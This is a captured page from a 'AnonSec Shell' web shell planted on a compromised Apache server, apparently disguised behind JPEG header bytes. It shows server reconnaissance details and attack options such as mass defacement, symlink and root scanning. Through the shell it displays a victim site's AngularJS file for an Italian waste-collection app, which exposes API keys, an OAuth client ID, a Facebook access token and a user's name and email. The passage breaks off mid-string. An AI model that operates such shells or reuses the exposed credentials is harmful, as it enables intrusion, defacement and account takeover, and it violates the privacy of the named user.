JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.44.28   [ Reverse IP ]
Web Server : Apache/2.4.67 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-184.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www_local/cosabutto/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www_local/cosabutto/js/_app.js
try{angular.module("app.templates")}catch(e){angular.module("app.templates",[])}String.prototype.capitalize=function(){return this.charAt(0).toUpperCase()+this.slice(1)};var app=angular.module("cosabutto",["app.templates","localytics.directives","ui.bootstrap","moment-picker","ui.router","ngMap"]),basePath="";function onSignIn(googleUser){googleUser.getBasicProfile()}app.constant("googleMapsKey","https://maps.googleapis.com/maps/api/js?key=AIzaSyA2Dx-F4FrIVDAjaH4xPm6q-Y1Nt2J3pUw"),app.service("scrollService",function(){var ss={malihuScroll:function(selector,theme,mousewheelaxis){$(selector).mCustomScrollbar({theme:theme,scrollInertia:100,axis:"yx",mouseWheel:{enable:!0,axis:mousewheelaxis,preventDefault:!0}})}};return ss}),app.directive("myEnter",function(){return function(scope,element,attrs){element.bind("keydown keypress",function(event){13===event.which&&(scope.$apply(function(){scope.$eval(attrs.myEnter)}),event.preventDefault())})}}),app.service("growlService",function(){var gs={growl:function(message,type){$.growl({message:message},{type:type,allow_dismiss:!1,label:"Cancel",className:"btn-xs btn-inverse",placement:{from:"top",align:"right"},delay:2500,animate:{enter:"animated bounceIn",exit:"animated bounceOut"},offset:{x:20,y:85}})}};return gs}),app.config(["momentPickerProvider",function(momentPickerProvider){momentPickerProvider.options({locale:"it",hoursFormat:"HH:[00]",minutesFormat:moment.localeData().longDateFormat("LT").replace(/[aA]/,""),secondsFormat:"ss",minutesStep:5,secondsStep:1})}]),app.config(["$stateProvider","$urlRouterProvider","$compileProvider",function($stateProvider,$urlRouterProvider,$compileProvider){$urlRouterProvider.otherwise("/home"),$compileProvider.aHrefSanitizationWhitelist(/^\s*(https?|ftp|mailto|file|tel):/),$stateProvider.state("howto",{url:"/howto",templateUrl:"template/howto.html",controller:"howtoCtrl",controllerAs:"howctrl"}).state("calendario",{url:"/caledar",templateUrl:"template/calenadio.html",controller:"calendarCtrl",controllerAs:"calctrl"}).state("social",{url:"/social",templateUrl:"template/social.html",controller:"socialCtrl",controllerAs:"soctrl"}).state("social.inserimento",{url:"/insert",templateUrl:"template/social/inserimento.html"}).state("social.colori",{url:"/color",templateUrl:"template/social/colori.html"}).state("social.orari",{url:"/time",templateUrl:"template/social/orari.html"}).state("home",{url:"/home",templateUrl:"template/home.html",controller:"homeCtrl",controllerAs:"hctrl"})}]),app.controller("homeCtrl",function($scope,$window,cosabuttoService,growlService,$rootScope,$compile,$q){$scope.mactrl.hctrl=this;var lingua=window.navigator.language;moment.locale(lingua),$rootScope.oggi={},$scope.dataOrdierna=moment(moment().format("YYYY-MM-DD")).valueOf(),this.getCssPerQuantita=function(x){switch(x){case 1:case 1:case 1:case 1:case 1:return"left: 65px;top: -50px;"}},this.getColoriFront=function(){cosabuttoService.getColoriFront($rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona).then(function(response){if(response.data){$rootScope.tipologie=angular.copy($rootScope.tipologieDefault);for(var i=response.data.length-1;0<=i;i--)for(var ik=$rootScope.tipologie.length-1;0<=ik;ik--)response.data[i].tipologia==$rootScope.tipologie[ik].id&&($rootScope.tipologie[ik].colore=response.data[i].colore,$rootScope.tipologie[ik].orainizio=response.data[i].orainizio,$rootScope.tipologie[ik].orafine=response.data[i].orafine)}},function(response){})},this.getTipologia=function(id){for(var i=$rootScope.tipologie.length-1;0<=i;i--)if($rootScope.tipologie[i].id==id)return $rootScope.tipologie[i]},this.getGiorno=function(){cosabuttoService.getGiorno(moment().format("YYYY-MM-DD"),$rootScope.cittaSelezionata.istat).then(function(response){$rootScope.oggi=response.data,$rootScope.cittaSelezionata.zona="",$rootScope.cittaSelezionata.zone=[];var first=!0;for(var k in $rootScope.oggi.zone)first&&(first=!1,$rootScope.cittaSelezionata.zona=k),-1==$rootScope.cittaSelezionata.zone.indexOf(k)&&$rootScope.cittaSelezionata.zone.push(k);cosabuttoService.getGiornoNoStat(moment().format("YYYY-MM-DD"),$rootScope.cittaSelezionata.istat).then(function(resp){$scope.tipologiaOggiMax=resp.data.dati},function(response){}),$scope.hctrl.getColoriFront()},function(response){})},this.avanzata=!1,this.avanzataChange=function(){this.avanzata=!this.avanzata},this.init=function(){-1<$scope.cittaSelezionata.istat&&(this.getGiorno(),""!=$scope.cittaSelezionata.zona&&"Nuova Zona"!=$scope.cittaSelezionata.zona&&this.getColoriFront()),-1==$scope.cittaSelezionata.istat&&(navigator.geolocation&&navigator.geolocation.getCurrentPosition(function(position){position.coords.latitude&&position.coords.longitude?($rootScope.utente.user_lat=position.coords.latitude,$rootScope.utente.user_lng=position.coords.longitude,cosabuttoService.geoLatLngToCity(position.coords.latitude,position.coords.longitude).then(function(response){"data"in response&&response.data&&($rootScope.cittaSelezionata.istat=response.data[0].istat,$scope.hctrl.init())},function(response){})):($rootScope.utente.user_lat=null,$rootScope.utente.user_lng=null)}),swal.isVisible()||$scope.intro()),"Nuova Zona"==$scope.cittaSelezionata.zona&&($scope.cittaSelezionata.zona=$scope.cittaSelezionata.zone[0])},this.init()}),app.controller("sceltaZonehomeCtrl",function($scope,cosabuttoService,cosabuttoServiceSocial,growlService,$rootScope,$state){cosabuttoService.up().then(function(response){},function(response){})}),app.controller("howtoCtrl",function($scope,$window,cosabuttoService,growlService,$rootScope,$compile,$q){}),app.factory("facebookService",function($q){return{getData:function(){var deferred=$q.defer();try{FB.api("/me",{fields:"email,name,picture"},function(response){!response||response.error?deferred.reject("Error occured"):deferred.resolve(response)})}catch(e){deferred.reject(e)}return deferred.promise},getStatus:function(){var deferred=$q.defer();return FB.getLoginStatus(function(response){if("connected"===response.status){deferred.resolve(!0);response.authResponse.userID,response.authResponse.accessToken}else response.status,deferred.resolve(!1)}),deferred.promise},login:function(){var deferred=$q.defer();return FB.login(function(response){response.authResponse?(console.log("Welcome!  Fetching your information.... "),deferred.resolve(response)):(console.log("User cancelled login or did not fully authorize."),deferred.reject("Error occured"))},{scope:"email"}),deferred.promise},logout:function(){FB.getLoginStatus(function(resp){FB.logout(function(aresp){})})}}}),app.directive("sceltaZonehome",function($rootScope,$compile){return{restrict:"A",scope:{cittaSelezionata:"=",hctrl:"="},controller:"sceltaZonehomeCtrl",template:"<div ng-repeat=\"x in cittaSelezionata.zone track by $index\" ng-click=\"cittaSelezionata.zona = x; hctrl.getColoriFront();\" class=\"col-md-4 col-xs-4 col-lx-4 {{(cittaSelezionata.zone.length==1 && $index==0)?'col-md-offset-4 col-xs-offset-4 col-xl-offset-4':''}} {{($index==0 && cittaSelezionata.zone.length==2)?'col-md-offset-2 col-xs-offset-2 col-xl-offset-2':''}} zone-div {{(cittaSelezionata.zona == x)?'zone-div-active':''}}\" >"+'<img ng-src="img/pin.gif" style="width: 55%;"><br>{{x}}</div>'}}),app.factory("googleService",function($q){return{getData:function(){if(auth2&&auth2.isSignedIn.get()){var profile=auth2.currentUser.get().getBasicProfile();return{name:profile.getName(),picture:profile.getImageUrl(),email:profile.getEmail()}}return!1},getStatus:function(){},login:function(){var deferred=$q.defer();return gapi.load("auth2",function(){auth2=gapi.auth2.init({client_id:"1049448224889-1s5iv286kq8r0h0j42khuc9ie1g6ajdc.apps.googleusercontent.com"}),auth2.signIn().then(function(){var profile=auth2.currentUser.get();console.log(profile.getId());var toRet={name:profile.getBasicProfile().getName(),picture:{data:{url:profile.getBasicProfile().getImageUrl()}},email:profile.getBasicProfile().getEmail(),token:profile.getAuthResponse().id_token};deferred.resolve(toRet)})}),deferred.promise},logout:function(){gapi.auth2.getAuthInstance().signOut().then(function(){console.log("User signed out.")})}}}),app.factory("cosabuttoServiceSocial",function($http){return{getStat:function(userinfo){var param=[{name:"userinfo",value:JSON.stringify(userinfo)}];return $http({url:basePath+"api/my/statuser.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:param})},zoneUpsert:function(userinfo,istatcode,zone){var param=[{name:"userinfo",value:JSON.stringify(userinfo)},{name:"istatcode",value:istatcode},{name:"zone",value:zone}];return $http({url:basePath+"api/my/zoneupsert.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:param})},cambiaTipologia:function(idtipo,colore,userinfo,istatcode,zone,orainizio,orafine){var param=[{name:"userinfo",value:JSON.stringify(userinfo)},{name:"istatcode",value:istatcode},{name:"zone",value:zone},{name:"colore",value:colore},{name:"idtipo",value:idtipo},{name:"orainizio",value:orainizio},{name:"orafine",value:orafine}];return $http({url:basePath+"api/my/coloreupsert.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:param})},inserisciDifferenziata:function(multipla,idtipo,data,userinfo,istatcode,zone){var param=[{name:"userinfo",value:JSON.stringify(userinfo)},{name:"istatcode",value:istatcode},{name:"zone",value:zone},{name:"data",value:data},{name:"tipo",value:idtipo},{name:"multipla",value:multipla}];return $http({url:basePath+"api/my/giornoupsert.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:param})}}}),app.factory("cosabuttoService",function($http,$q){return{up:function(){var deferred=$q.defer();return deferred.resolve(!0),deferred.promise},zoneGet:function(istatcode){return $http({url:basePath+"api/zoneget.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:[{name:"istatcode",value:istatcode}]})},geoLatLngToCity:function(lat,lng){return $http({url:basePath+"api/geoget.php?lat="+lat+"&lng="+lng,method:"GET",headers:{"Content-Type":"application/json;charset=utf-8"}})},getColore:function(istatcode,zone,userinfo){var data=[{name:"istatcode",value:istatcode},{name:"zone",value:zone=zone||"Default"},{name:"userinfo",value:JSON.stringify(userinfo)}];return $http({url:basePath+"api/my/coloreget.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:data})},getGiorno:function(giorno,istatcode){return $http({url:basePath+"api/giornoget.php?giorno="+giorno+"&istatcode="+istatcode,method:"GET",headers:{"Content-Type":"application/json;charset=utf-8"}})},getGiornoNoStat:function(giorno,istatcode){return $http({url:basePath+"api/giornogetnostat.php?giorno="+giorno+"&istatcode="+istatcode,method:"GET",headers:{"Content-Type":"application/json;charset=utf-8"}})},getSettimana:function(week,year,istatcode,userinfo){var data=[{name:"week",value:week},{name:"year",value:year},{name:"istatcode",value:istatcode},{name:"userinfo",value:JSON.stringify(userinfo)}];return $http({url:basePath+"api/my/settimanaget.php",method:"POST",headers:{"Content-Type":"application/json;charset=utf-8"},data:data})},getComuni:function(){return $http({url:"json/italia_autocomplete.json",method:"GET",headers:{"Content-Type":"application/json;charset=utf-8"}})},getColoriFront:function(istatcode,zone){return $http({url:basePath+"api/coloreget.php?istatcode="+istatcode+"&zone="+(zone=zone||"Default"),method:"GET",headers:{"Content-Type":"application/json;charset=utf-8"}})}}}),app.controller("socialCtrl",function($scope,cosabuttoService,cosabuttoServiceSocial,growlService,$rootScope,$state){$scope.mactrl.soctrl=this;var lingua=window.navigator.language;moment.locale(lingua),$scope.today=moment(),$scope.calendar={},$scope.dataOrdierna=moment(moment().format("YYYY-MM-DD")).valueOf(),this.getColore=function(){cosabuttoService.getColore($rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona,$rootScope.utente).then(function(response){if("status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error)localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1};else if("status"in response.data&&0==response.data.status)growlService.growl("Errore in fase di recupero dei dati!","alert");else{$rootScope.tipologie=angular.copy($rootScope.tipologieDefault);for(var i=response.data.length-1;0<=i;i--)for(var ik=$rootScope.tipologie.length-1;0<=ik;ik--)response.data[i].tipologia==$rootScope.tipologie[ik].id&&($rootScope.tipologie[ik].colore=response.data[i].colore,$rootScope.tipologie[ik].orainizio=response.data[i].orainizio,$rootScope.tipologie[ik].orafine=response.data[i].orafine)}},function(response){growlService.growl("Errore in fase di recupero dei dati!","alert")})},this.zoneGet=function(){cosabuttoService.zoneGet($rootScope.cittaSelezionata.istat).then(function(response){$rootScope.cittaSelezionata.tuttezone=response.data,$rootScope.cittaSelezionata.zonaCheck=""},function(response){growlService.growl("Non è stato possibile recuperare i dati!","alert")})},this.zoneUpsert=function(zona){$rootScope.cittaSelezionata.zona=zona,-1<$rootScope.cittaSelezionata.tuttezone.indexOf(zona)?($rootScope.cittaSelezionata.zonaCheck=$rootScope.cittaSelezionata.zona,$scope.soctrl.getDatiSettimanaAttuale(),$scope.soctrl.getColore()):"Nuova Zona"!=$rootScope.cittaSelezionata.zona&&cosabuttoServiceSocial.zoneUpsert($rootScope.utente,$rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona).then(function(response){response.data.status?($scope.soctrl.zoneGet(),$rootScope.cittaSelezionata.zonaCheck=$rootScope.cittaSelezionata.zona,$scope.soctrl.getDatiSettimanaAttuale(),$scope.soctrl.getColore(),growlService.growl("La nuova zona è stata aggiunta con successo!","success")):"status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error&&(localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1})},function(response){growlService.growl("Non è stato possibile aggiornare i dati!","alert")})},this.cambiaTipologia=function(tipo,colore,orainizio,orafine){if(tipo){$rootScope.tipologieBackup=angular.copy($rootScope.tipologie);for(var i=0;i<$rootScope.tipologie.length;i++)if($rootScope.tipologie[i].nome==tipo)return colore=colore||$rootScope.tipologie[i].colore,void cosabuttoServiceSocial.cambiaTipologia($rootScope.tipologie[i].id,colore,$rootScope.utente,$rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona,orainizio,orafine).then(function(response){response.data.status?($rootScope.tipologie[i].colore=colore,growlService.growl("Dati aggiornati con successo!","success")):"status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error?(localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1}):growlService.growl("Non è stato possibile aggiornare i dati!","alert")},function(response){growlService.growl("Non è stato possibile aggiornare i dati!","alert")})}},this.getDatiSettimanaAttuale=function(){"week"in $scope.calendar||($scope.calendar.week=$scope.today.format("ww/YYYY"));var tmp=$scope.calendar.week.split("/"),settimanaAttuale=tmp[0],annoAttuale=tmp[1],istatcode=$rootScope.cittaSelezionata.istat;-1<istatcode?cosabuttoService.getSettimana(settimanaAttuale,annoAttuale,istatcode,$rootScope.utente).then(function(response){$scope.soctrl.setCalendarWeekAfter(response.data)},function(response){$scope.soctrl.setCalendarWeekAfter()}):"status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error?(localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1}):$scope.soctrl.setCalendarWeekAfter()},this.inserisciDifferenziata=function(multipla,idtipo,data){cosabuttoServiceSocial.inserisciDifferenziata(multipla,idtipo,data.esteso,$rootScope.utente,$rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona).then(function(response){"status"in response.data&&response.data.status?($scope.soctrl.getDatiSettimanaAttuale(),growlService.growl("Dati aggiornati con successo!","success")):"status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error?(localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1}):growlService.growl("Non è stato possibile aggiornare i dati!","alert")},function(response){growlService.growl("Non è stato possibile aggiornare i dati!","alert")})},this.nextWeek=function(){$scope.soctrl.setCalendarWeek("6","add")},this.prevWeek=function(){$scope.soctrl.setCalendarWeek("7","remove")},this.nowWeek=function(){$scope.soctrl.setCalendarWeek()},this.getColoriFront=function(){cosabuttoService.getColoriFront($rootScope.cittaSelezionata.istat,$rootScope.cittaSelezionata.zona).then(function(response){"status"in response.data&&response.data.status?($scope.soctrl.getDatiSettimanaAttuale(),growlService.growl("Dati aggiornati con successo!","success")):growlService.growl("Non è stato possibile aggiornare i dati!","alert")},function(response){growlService.growl("Non è stato possibile aggiornare i dati!","alert")})},this.setCalendarWeekAfter=function(dadb){$scope.calendar.week=$scope.today.format("ww/YYYY"),$scope.calendar.from_date=$scope.today.startOf("week").format("DD-MM-YYYY"),$scope.calendar.to_date=$scope.today.endOf("week").format("DD-MM-YYYY"),$scope.calendar.days=[];for(var tmpDate=moment($scope.today),i=0;i<7;i++){var giorno_moment=tmpDate.startOf("week").add(i,"day"),giorno={nome:giorno_moment.format("dddd").capitalize(),numero:giorno_moment.format("DD"),esteso:giorno_moment.format("YYYY-MM-DD"),tipologia:[]};for(var asd in dadb){var giorno_data=moment(parseInt(dadb[asd].date));-1==$rootScope.cittaSelezionata.zone.indexOf(dadb[asd].zone)&&$rootScope.cittaSelezionata.zone.push(dadb[asd].zone),giorno_moment.format("YYYY-MM-DD")==giorno_data.format("YYYY-MM-DD")&&dadb[asd].zone==$rootScope.cittaSelezionata.zona&&(giorno.tipologia=dadb[asd].tipologia,giorno.orainizio=dadb[asd].orainizio,giorno.orafine=dadb[asd].orafine,giorno.multipla=dadb[asd].multipla)}$scope.calendar.days.push(giorno)}},this.setCalendarWeek=function(newweek,tipo){"add"==tipo?$scope.today.add(newweek,"day"):"remove"==tipo?$scope.today.subtract(newweek,"day"):$scope.today=moment();var week=$scope.today.format("ww"),year=$scope.today.format("YYYY"),istatcode=$rootScope.cittaSelezionata.istat;-1<istatcode?cosabuttoService.getSettimana(week,year,istatcode,$rootScope.utente).then(function(response){$scope.soctrl.setCalendarWeekAfter(response.data)},function(response){$scope.soctrl.setCalendarWeekAfter()}):"status"in response.data&&0==response.data.status&&"Token utente non valido"==response.data.error?(localStorage.removeItem("utente"),growlService.growl("Devi effettuare il login per continuare!","danger"),$rootScope.utente={login_status:!1}):$scope.soctrl.setCalendarWeekAfter()},this.getGiorno=function(){cosabuttoService.getGiorno(moment().format("YYYY-MM-DD"),$rootScope.cittaSelezionata.istat).then(function(response){$rootScope.oggi=response.data,$rootScope.cittaSelezionata.zona="",$rootScope.cittaSelezionata.zone=[];var first=!0;for(var k in $rootScope.oggi.zone)first&&(first=!1,$rootScope.cittaSelezionata.zona=k),-1==$rootScope.cittaSelezionata.zone.indexOf(k)&&$rootScope.cittaSelezionata.zone.push(k)},function(response){})},this.checkValidZone=function(){""!=$rootScope.cittaSelezionata.zona&&" "!=$rootScope.cittaSelezionata.zona&&2<$rootScope.cittaSelezionata.zona.length&&"Nuova Zona"!=$rootScope.cittaSelezionata.zona?$scope.soctrl.zoneUpsert($rootScope.cittaSelezionata.zona):Swal.fire({type:"error",title:"Devi inserire un nome valido!",text:"Assicurati che il nome non sia 'Nuova Zona' e che sia lungo almeno tre caratteri!"})},this.init=function(){$rootScope.utente&&"login_status"in $rootScope.utente&&$rootScope.utente.login_status&&(-1<$scope.cittaSelezionata.istat&&(this.zoneGet(),this.getColore(),this.getGiorno(),$rootScope.cittaSelezionata.zona),-1==$rootScope.cittaSelezionata.istat&&navigator.geolocation&&navigator.geolocation.getCurrentPosition(function(position){position.coords.latitude&&position.coords.longitude?($rootScope.utente.user_lat=position.coords.latitude,$rootScope.utente.user_lng=position.coords.longitude,cosabuttoService.geoLatLngToCity(position.coords.latitude,position.coords.longitude).then(function(response){"data"in response&&response.data&&($rootScope.cittaSelezionata.istat=response.data[0].istat,$scope.soctrl.init()),swal.isVisible()||$scope.intro()},function(response){swal.isVisible()||$scope.intro()})):($rootScope.utente.user_lat=null,$rootScope.utente.user_lng=null)}))},this.init();var self=this;$rootScope.$watch("utente.login_status",function(newV,oldV){newV&&self.init()})}),app.controller("templateCtrl",function($window,$timeout,$anchorScroll,$location,$scope,$http,growlService,facebookService,googleService,$rootScope,cosabuttoService,cosabuttoServiceSocial,$q,$state,$compile,$state){$rootScope.cittaSelezionata={istat:-1,zona:"",zone:[],tuttezone:[]},$scope.logout=function(){switch($rootScope.utente.social_network){case"facebook":facebookService.logout();break;case"amazon":$rootScope.logoutAmazon();break;case"google":googleService.logout()}$rootScope.utente.login_status=!1,$rootScope.utente.social_network=""},$scope.logoutLS=function(){localStorage.removeItem("utente"),$scope.loadLS()},$scope.loadLS=function(){localStorage.getItem("utente")?($rootScope.utente=JSON.parse(localStorage.getItem("utente")),cosabuttoServiceSocial.getStat($rootScope.utente).then(function(dat){$rootScope.utente.stats=dat.data},function(err){}),growlService.growl("Bentornato "+$rootScope.utente.info.name+"!","info")):$rootScope.utente={login_status:!1,social_network:""}},$scope.loadLS(),cosabuttoService.getComuni().then(function(response){$rootScope.comuni=response.data},function(response){$rootScope.comuni=[]}),$rootScope.colori=["marrone","giallo","blu","turchese","verde","grigio","rosso","bianco"],$scope.intVal=function(x){return Math.round(x)},$rootScope.tipologie=[{id:-2,nome:"Non Trovato",colore:"bianco"},{id:-1,nome:"Nessuno",colore:"x"},{id:1,nome:"Organico",colore:"marrone",orainizio:"06:00",orafine:"9:00"},{id:2,nome:"Plastica",colore:"giallo",orainizio:"06:00",orafine:"9:00"},{id:3,nome:"Carta",colore:"blu",orainizio:"06:00",orafine:"9:00"},{id:4,nome:"Metalli",colore:"turchese",orainizio:"06:00",orafine:"9:00"},{id:5,nome:"Vetro",colore:"verde",orainizio:"06:00",orafine:"9:00"},{id:6,nome:"Indifferenziato",colore:"grigio",orainizio:"06:00",orafine:"9:00"},{id:7,nome:"Speciali",colore:"rosso",orainizio:"06:00",orafine:"9:00"},{id:7,nome:"Altro",colore:"bianco",orainizio:"06:00",orafine:"9:00"}],$rootScope.tipologieDefault=angular.copy($rootScope.tipologie),$rootScope.loginFacebook=function(){facebookService.login().then(function(da){$rootScope.utente.data=da,$rootScope.utente.accessToken=da.authResponse.accessToken,$rootScope.utente.login_status=!0,$rootScope.utente.social_network="facebook",$rootScope.getDataFacebook()},function(err){$rootScope.utente.login_status=!1,$rootScope.utente.social_network="facebook",$scope.logoutLS()})},$scope.checkIntro=function(){},$rootScope.loginGoogle=function(){googleService.login().then(function(da){$rootScope.utente.info=da,$rootScope.utente.data={token:da.token,id_token:da.id_token},$rootScope.utente.login_status=!0,$rootScope.utente.social_network="google",localStorage.setItem("utente",JSON.stringify($rootScope.utente)),cosabuttoServiceSocial.getStat($rootScope.utente).then(function(dat){$rootScope.utente.stats=dat.data},function(err){}),growlService.growl("Bentornato "+da.name+"!","info")},function(err){$rootScope.utente.login_status=!1,$rootScope.utente.social_network="google",$scope.logoutLS()})},$rootScope.loginAmazon=function(){return options={scope:"profile"},amazon.Login.authorize(options,function(response){if(response.error)return $rootScope.utente.login_status=!1,$rootScope.utente.social_network="amazon",void $scope.logoutLS();$rootScope.utente.data=response,$rootScope.utente.accessToken=response.access_token,$rootScope.utente.login_status=!0,$rootScope.utente.social_network="amazon",$rootScope.getDataAmazon()}),!1},$rootScope.logoutAmazon=function(){amazon.Login.logout()},$rootScope.fakelogin=function(){$rootScope.utente={login_status:!0,social_network:"facebook",data:{data:{accessToken:"EAAE6Sqa9xtIBAHb0yagRq9TmocTDhBzIVJFkoHNDV6KvF878DE1jdMjUUyKHC8fJ0wtGZCNFitvqscKK1LiC3P4Uu7ItyhlJRLUGG2LxGPm1c5iD1Tn6cmZAzUeVxxrCDZAtMBZAVr31UUv27v7jCOVcFPhGWQvmg8b3cIn8hrGRcWR0UIcZCUHW6wGZCgtcQZD",userID:"10156498194658790",expiresIn:5242,signedRequest:"6c8EfMifnoTGNzIWzJvlKPP0xNan9PHYz-qdnn93bwU.eyJ1c2VyX2lkIjoiMTAxNTY0OTgxOTQ2NTg3OTAiLCJjb2RlIjoiQVFESEs3VjctektaZzhBYmlSNTUzSndwc2ZzM0xyOHQ4WUxiaVBrdDZyN3JoejN6a0xJVjZrZ3QxSFd2NTh3d1EwckE4cndOdWp4YklCd052Wkp2QW9QN0dYM1k4SEVsclkwbGZza3JZcGx3N05PbFpaUklPWTZ2UWRKZmFidTFMeUNncnFzd3g5T2c0ano3UnRHRzhTLUxEZGhzcTE0SlFybzNlQ1FReVV5QXpjLVZKYWEzb0FVLWh4V2RhTGI0cjl2cm5UZDBiRFRlN21obUpPMGFWam85a1lFWUNZTVFscHMzaV9IM2ZOUnQ2S3N5UkhKNE55RU9UZGVOR29haW9ScEM2ZDQxMFRKRW40anJfLXZHWndDVnF3Z2ZEVGN4UU9kNVhBS2tjNHJjdi1VZzU3cXFpNU9VVmhWaWhrZWQ1Vk0yY0FVYWtHMmNlLWNmLWRadkNfMUIiLCJhbGdvcml0aG0iOiJITUFDLVNIQTI1NiIsImlzc3VlZF9hdCI6MTU1OTMwOTU1OH0",reauthorize_required_in:7776e3,data_access_expiration_time:1567085558},status:"connected"},info:{email:"mauro.pescatore@me.com",name:"Angelo Pescatore",picture:{data:{height:50,is_silhouette:!1,url:"https://platform-lookaside.fbsbx.com/platform/profilepic/?asid=10156498194658790&height=50&width=50&ext=1561901560&hash=AeR8YYxldYb9_4Cz",width:50}},id:"10156498194658790"}}},$rootScope.getDataFacebook=function(){facebookService.getData().then(function(da){$rootScope.utente.info=da,localStorage.setItem("utente",JSON.stringify($rootScope.utente)),cosabuttoServiceSocial.getStat($rootScope.utente).then(function(dat){$rootScope.utente.stats=dat.data},function(err){}),growlService.growl("Bentornato "+da.name+"!","info")},function(err){$rootScope.utente.login_status=!1,$rootScope.utente.social_network="facebook",$scope.logoutLS()})},$rootScope.getDataAmazon=function(){var deferred=$q.defer();amazon.Login.retrieveProfile($rootScope.utente.accessToken,function(response){deferred.resolve(response)}),deferred.promise.then(function(response){$rootScope.utente.info={id:response.profile.CustomerId,name:response.profile.Name,email:response.profile.PrimaryEmail,picture:{data:{url:"img/amazon-logo.png"}}},localStorage.setItem("utente",JSON.stringify($rootScope.utente)),cosabuttoServiceSocial.getStat($rootScope.utente).then(function(dat){$rootScope.utente.stats=dat.data},function(err){}),growlService.growl("Bentornato "+response.profile.Name+"!","info")},function(err){$rootScope.utente.login_status=!1,$rootScope.utente.social_network="amazon",$scope.logoutLS()})},$rootScope.goState=function(d){d&&$state.go(d)},$rootScope.reState=function(){$state.go($state.current.name)},$rootScope.inArray=function(needle,haystack){for(var length=haystack.length,i=0;i<length;i++)if(haystack[i]==needle)return!0;return!1},/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)&&angular.element("html").addClass("ismobile"),this.sidebarToggle={left:!1,right:!1},$rootScope.gotoBottomComune=function(){alert("Mmmm"),$(window).scrollTop(10);$(window).scrollTop();$(window).scrollTop(0)},$rootScope.gotoBottomZona=function(){alert("ok"),$location.hash("zonascelta"),$anchorScroll()},$rootScope.intro=function(){swal.fire({title:"Cosa Butto Oggi?",imageUrl:"img/logo-cosa-butto-oggi-apisoft.png",position:"top",imageHeight:300,animation:!1,customClass:"animated bounceInDown",showCancelButton:!1,confirmButtonText:"Avanti",imageAlt:"Cosa butto oggi?",html:'<div class="hidden-xs hidden-sm" style="color:black; width:80%; font-size:14px;margin: 0 auto;">Cosa Butto Oggi ti ricorda cosa buttare oggi per rispettare la raccolta differenziata nel tuo paese.</div><br class="hidden-xs hidden-sm"><h3 class="swal2-title hidden-xs hidden-sm">Seleziona una città per continuare</h3><div id="includimihome"></div><div class="hidden-md hidden-lg" 